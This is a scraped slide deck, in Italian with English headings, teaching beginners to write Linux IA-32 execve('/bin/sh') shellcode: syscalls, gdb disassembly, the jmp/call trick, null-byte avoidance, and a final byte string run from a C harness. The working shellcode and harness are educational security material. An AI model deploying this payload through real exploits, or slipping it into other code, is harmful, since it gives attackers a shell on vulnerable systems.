35
webbit 2003 webbit 2003 1 How to write a How to write a shellcode shellcode ( ( beginner beginner ) ) Alberto Ornaghi <[email protected] Lorenzo Cavallaro <[email protected]

How to write a shellcode ( beginner )

  • Upload
    nessa

  • View
    63

  • Download
    1

Embed Size (px)

DESCRIPTION

Alberto Ornaghi Lorenzo Cavallaro . How to write a shellcode ( beginner ). Table of contents. Cos’è uno shellcode Introduzione all’IA-32 Introduzione syscall Linux kernel 2.4 execve “/bin/sh” Nil bytes (… avoidance) Shellcode … - PowerPoint PPT Presentation

Citation preview

Page 1: How to write a shellcode ( beginner )

webbit 2003webbit 2003 11

How to write a How to write a shellcodeshellcode((beginnerbeginner))

Alberto Ornaghi <[email protected]>Lorenzo Cavallaro <[email protected]>

Page 2: How to write a shellcode ( beginner )

webbit 2003webbit 2003 22

Table of contentsTable of contents

Cos’è uno shellcodeCos’è uno shellcode Introduzione all’IA-32Introduzione all’IA-32 Introduzione syscall Linux kernel 2.4Introduzione syscall Linux kernel 2.4 execve “/bin/sh”execve “/bin/sh” Nil bytes (… avoidance)Nil bytes (… avoidance) Shellcode …Shellcode … … … e ancora shellcode :)e ancora shellcode :)

Page 3: How to write a shellcode ( beginner )

webbit 2003webbit 2003 33

Cos’Cos’èè uno shellcode uno shellcode

Page 4: How to write a shellcode ( beginner )

webbit 2003webbit 2003 44

Lo shellcodeLo shellcode

Un insieme di opcode rappresentanti istruzioni assembly che vogliamo far eseguire alla CPU

Generalmente lo scopo ultimo e` l’esecuzione di una shell. Da qui il termine “shellcode”

Page 5: How to write a shellcode ( beginner )

webbit 2003webbit 2003 55

Introduzione all’IA-32Introduzione all’IA-32

Page 6: How to write a shellcode ( beginner )

webbit 2003webbit 2003 66

Architettura IA-32 (1)Architettura IA-32 (1)

Registri general purpose: %eax, %ebx, %ecx, %edx

%al%al %ah%ah

0 7|8 15|16 31

%ax

%eax %eip: instruction pointer %esi, %edi, %cs, %ds, %fs, %gs, %flags

Page 7: How to write a shellcode ( beginner )

webbit 2003webbit 2003 77

Architettura IA-32 (2)Architettura IA-32 (2)

%ebp e’ il Base Pointer (Frame Pointer) e punta all’inizio del record di attivazione corrente

%esp e’ lo Stack Pointer e punta al top dello stack

Lo stack cresce verso indirizzi di memoria bassi

SFP

SRET

automatic variables

...

...

high

low

Page 8: How to write a shellcode ( beginner )

webbit 2003webbit 2003 88

Architettura IA-32 (3)Architettura IA-32 (3)

int foo(int a, int b){ int i = 5; return (a + b) * i;}

int main(void){ int c = 3, d = 4, e = 0; e = foo(c, d); printf(“e = %d\n”, e);}

4

3

high

low

stack layout

SRET

SFP

5

SRET:

Page 9: How to write a shellcode ( beginner )

webbit 2003webbit 2003 99

Introduzione syscall Introduzione syscall Linux kernel 2.4Linux kernel 2.4

Page 10: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1010

System call (1)System call (1)

Due metodi usati dal kernel di Linux per implementare system call:

1. lcall7/lcall27 gates

2. int 0x80 software interrupt

Rappresentano un caso particolare di chiamata al kernel iniziata via software (software trap)

Page 11: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1111

System call (2)System call (2)

int main(void){ exit(1);}

_syscall1(void,exit,int,status);

#define _syscall1(type,name,type1,arg1) \type name(type1 arg1) \{ \long res; \ __asm__ volatile(“int $0x80” \ : “=a” (__res) \ : “0” (__NR_##name), “b” ((long)(arg1))); \

__syscall_return(type,__res); \

}

Page 12: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1212

System call (3)System call (3)

In user mode e` necessario passare i parametri alla syscall nei registri general purpose, dove %eax rappresenta l’indice della syscall da richiamare

In kernelmode invece, i parametri verranno recuperati dallo stack (macro asmlinkage)

Page 13: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1313

System call (4)System call (4)

ENTRY(system_call) # arch/i386/kernel/entry.S pushl %eax # save orig_eax SAVE_ALL … cmpl $(NR_syscalls), %eax jae badsys call *SYMBOL_NAME(sys_call_table)(,%eax,4) movl %eax,EAX(%esp) # save the return value …

asmlinkage long sys_exit(int errorcode);

Prototipo della sys_exit syscall (kernel land)

Page 14: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1414

System call (5)System call (5)

Avendo visto come viene srotolata la macro_syscall1(…), notando che sys_exit() non hastranezze, possiamo riscrivere in assemblyl’esempio visto qualche slide fa …

int main(void){ __asm__(“ movl $0x1, %eax movl %eax, %ebx int $0x80 “);}

Page 15: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1515

Kernel source Vs gdb Kernel source Vs gdb (1)(1)

La system call exit e` piuttosto semplice

Ci sono system call piu` complesse e altre che noi consideriamo system call ma che sono implementate in modo diverso dal kernel (socket related “syscall” sono implementate con una sys_socketcall che fa da wrapper, ad esempio)

Page 16: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1616

Kernel source Vs gdb Kernel source Vs gdb (2)(2) In questi casi e in altri puo` tornarci utile un disassemblato del programma

gdb viene in nostro aiuto dandoci gli strumenti necessari per poter aver uno snapshot del layout dello stack che il kernel si aspetta di trovare a fronte di un int 0x80

Ricordarsi di compilare con –static e -mpreferred-stack-boundary=2 :)

Page 17: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1717

Kernel source Vs gdb Kernel source Vs gdb (3)(3)

(gdb) disassemble mainDump of assembler code for function main:0x80481c0 <main>: push %ebp0x80481c1 <main+1>: mov %esp,%ebp0x80481c3 <main+3>: sub $0x8,%esp0x80481c6 <main+6>: add $0xfffffff4,%esp0x80481c9 <main+9>: push $0x10x80481cb <main+11>: call 0x804bf60 <_exit>0x80481d0 <main+16>: add $0x10,%esp0x80481d3 <main+19>: leave0x80481d4 <main+20>: retEnd of assembler dump.

Page 18: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1818

Kernel source Vs gdb Kernel source Vs gdb (4)(4)

(gdb) disassemble _exitDump of assembler code for function _exit:0x804bf60 <_exit>: mov %ebx,%edx0x804bf62 <_exit+2>: mov 0x4(%esp,1),%ebx0x804bf66 <_exit+6>: mov $0x1,%eax0x804bf6b <_exit+11>: int $0x800x804bf6d <_exit+13>: mov %edx,%ebx0x804bf6f <_exit+15>: cmp $0xfffff001,%eax0x804bf74 <_exit+20>: jae 0x8051530 <__syscall_error>0x804bf7a <_exit+26>: lea 0x0(%esi),%esiEnd of assembler dump.

Page 19: How to write a shellcode ( beginner )

webbit 2003webbit 2003 1919

execve “/bin/sh”execve “/bin/sh”

Page 20: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2020

execve (1)execve (1)

intmain(void){ char *name[] = { “/bin/sh”, NULL }; execve(name[0], name, NULL);}

int execve(const char *filename, \ char *const argv[], \ char *const envp[] );

Prototipo della syscall execve (user land)

Page 21: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2121

execve (2)execve (2)

(gdb) disass main

push %ebpmov %esp,%ebpsub $0x8,%esplea 0xfffffff8(%ebp),%eaxmovl $0x808b6c8,0xfffffff8(%ebp)movl $0x0,0xfffffffc(%ebp)push $0x0lea 0xfffffff8(%ebp),%eaxpush %eaxmov 0xfffffff8(%ebp),%eaxpush %eaxcall 0x804bf90 <execve>…

SFP%ebp

$0x808b6c8

$0x0

$0x0

name:

name

$0x808b6c8

high

low

stack layout

SRET

Page 22: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2222

execve (3)execve (3)

push %ebpmov %esp,%ebp…mov 0x8(%ebp),%edimov $0x0,%eax…mov 0xc(%ebp),%ecxmov 0x10(%ebp),%edxpush %ebxmov %edi,%ebxmov $0xb,%eaxint $0x80

$0x0

name

name[0]

SRET

high

low

stack layout

SFP%ebp

0x8(%ebp)

0xc(%ebp)

0x10(%ebp)

%ebx <- 0x8(%ebp) = 0x808b6c8%ecx <- 0xc(%ebp) = name%edx <- 0x10(%ebp) = 0x0

Page 23: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2323

execve (4)execve (4)

dobbiamo avere la stringa “/bin/sh” in memoria da qualche parte

“costruire” l’array che contiene l’indirizzo della stringa “/bin/sh” seguito da 0x0 (determinare quindi l’indirizzo dell’indirizzo della stringa)

mettere i valori nei registri giusti

Page 24: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2424

execve (5)execve (5)

Supponendo che %ebx contenga l’indirizzo della stringa “/bin/sh”, il tutto si riduce a…movl %ebx, 0x8(%ebx)movb $0x0, 0x7(%ebx)movl $0x0, 0xc(%ebx)leal 0x8(%ebx), %ecxleal 0xc(%ebx), %edxmovl $0xb, %eaxint $0x80…

/sh

/bin

high

low

stack layout

%ebx addr

addr0x8(%ebx)

0

$0x00xc(%ebx)

addr+4

addr+8

addr+12

Page 25: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2525

execve (6)execve (6)

Non possiamo sapere l’indirizzo assoluto della locazione di memoria dove si trova la stringa “/bin/sh”, ma in realta` non ci interessa …

jmp aheadback: popl %ebx …ahead: call back .string \”/bin/sh\”

Page 26: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2626

jmp ahead # 0xeb 0x1c back: popl %ebx # 0x5b movl %ebx, 0x8(%ebx) # 0x89 0x5b 0x08 movb $0x0, 0x7(%ebx) # 0xc6 0x43 0x07 00 movl $0x0, 0xc(%ebx) # 0xc7 0x43 0x0c 00 00 00 00 leal 0x8(%ebx), %ecx # 0x8d 0x4b 0x08 leal 0xc(%ebx), %edx # 0x8d 0x53 0x0c movl $0xb, %eax # 0xb8 0x0b 00 00 00 int $0x80 # 0xcd 0x80 ahead: call back # 0xd8 0xdf 0xff 0xff 0xff .string \”/bin/sh\” # 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68

execve (7)execve (7)

Page 27: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2727

Nil bytes avoidanceNil bytes avoidance

Page 28: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2828

movb $0x0, 0x7(%ebx) movl $0x0, 0xc(%ebx) movl $0xb, %eax

Nil bytesNil bytes

xorl %eax, %eaxmovb %al, 0x7(%ebx)movl %eax, 0xc(%ebx)movb $0xb, %al

…xorl %eax, %eaxmovl %ebx, 0x8(%ebx)movb %al, 0x7(%ebx)movl %eax, 0xc(%ebx)leal 0x8(%ebx), %ecxleal 0xc(%ebx), %edxmovb $0xb, %alint $0x80…

Page 29: How to write a shellcode ( beginner )

webbit 2003webbit 2003 2929

shellcode (1)shellcode (1)

intmain(void) { __asm__(“ jmp ahead back: popl %ebx xorl %eax, %eax movl %ebx, 0x8(%ebx) movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movb $0xb, %al int $0x80 ahead: call back .string \”/bin/sh\” “); }

Problemi con questo test?

Page 30: How to write a shellcode ( beginner )

webbit 2003webbit 2003 3030

shellcode (2)shellcode (2)

(gdb) x/29b 0x80483c3

0x80483c3 <main+3>: 0xeb 0x16 0x5b 0x31 0xc0 0x89 0x5b 0x08

0x80483cb <back+6>: 0x88 0x43 0x07 0x89 0x43 0x0c 0x8d 0x4b

0x80483d3 <back+14>: 0x08 0x8d 0x53 0x0c 0xb0 0x0b 0xcd 0x80

0x80483db <ahead>: 0xe8 0xe5 0xff 0xff 0xff

Page 31: How to write a shellcode ( beginner )

webbit 2003webbit 2003 3131

shellcode (3)shellcode (3)

#include <stdio.h>

unsigned char code[]= "\xeb\x16\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43” “\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5” “\xff\xff\xff/bin/sh";

intmain(void){ void (*f)(void) = (void (*)(void))code;

f();

/* never reached … */ exit(0);}

Page 32: How to write a shellcode ( beginner )

webbit 2003webbit 2003 3232

shellcode (4)shellcode (4)

intmain(void){ char *name[] = { “/bin/sh”, NULL }; char *env[] = { “PATH=/bin:/sbin:/nonexistent”, NULL };

execve(name[0], name, env);

/* never reached … */ exit(1);}

Page 33: How to write a shellcode ( beginner )

webbit 2003webbit 2003 3333

shellcode (5)shellcode (5)

jmp aheadback: popl %edi jmp beginahead: call backbegin:

xorl %eax, %eax movl %edi, %ebx addb $(shell - begin), %bl pushl %ebx

movl %ebx, 40(%ebx) movl %eax, 44(%ebx) movb %al, 7(%ebx) leal 40(%ebx), %ecx

XXXXXXXX

……

=/bin=/bin

PATHPATH

/shA/shA

/bin/bin

high

low

name[0]name[0]

name[0]name[0]

name[1]name[1]

Page 34: How to write a shellcode ( beginner )

webbit 2003webbit 2003 3434

shellcode (6)shellcode (6)

movl %edi, %ebx addb $(env - begin), %bl

movl %ebx, 48(%ebx) movl %eax, 52(%ebx) movb %al, 28(%ebx) leal 48(%ebx), %edx

popl %ebx movb $0xb, %al int $0x80

shell: .string \"/bin/sh\" # 7 bytesenv: # 33 bytes: 29 w/o X and 28 w/o X and A # strlen(shell) + strlen(env) = 40 bytes

.string \"APATH=/bin:/sbin:/nonexistentXXXX\“

XXXXXXXX

……

=/bin=/bin

PATHPATH

/shA/shA

/bin/bin

high

low

name[0]name[0]

name[0]name[0]

name[1]name[1]

env[0]env[0]

env[1]env[1]

Page 35: How to write a shellcode ( beginner )

webbit 2003webbit 2003 3535

– Lorenzo Cavallaro Lorenzo Cavallaro <sullivan@<[email protected]>.org>

– Alberto Ornaghi Alberto Ornaghi <alor@<[email protected]>.org>

http://shellcodes.antifork.orghttp://shellcodes.antifork.org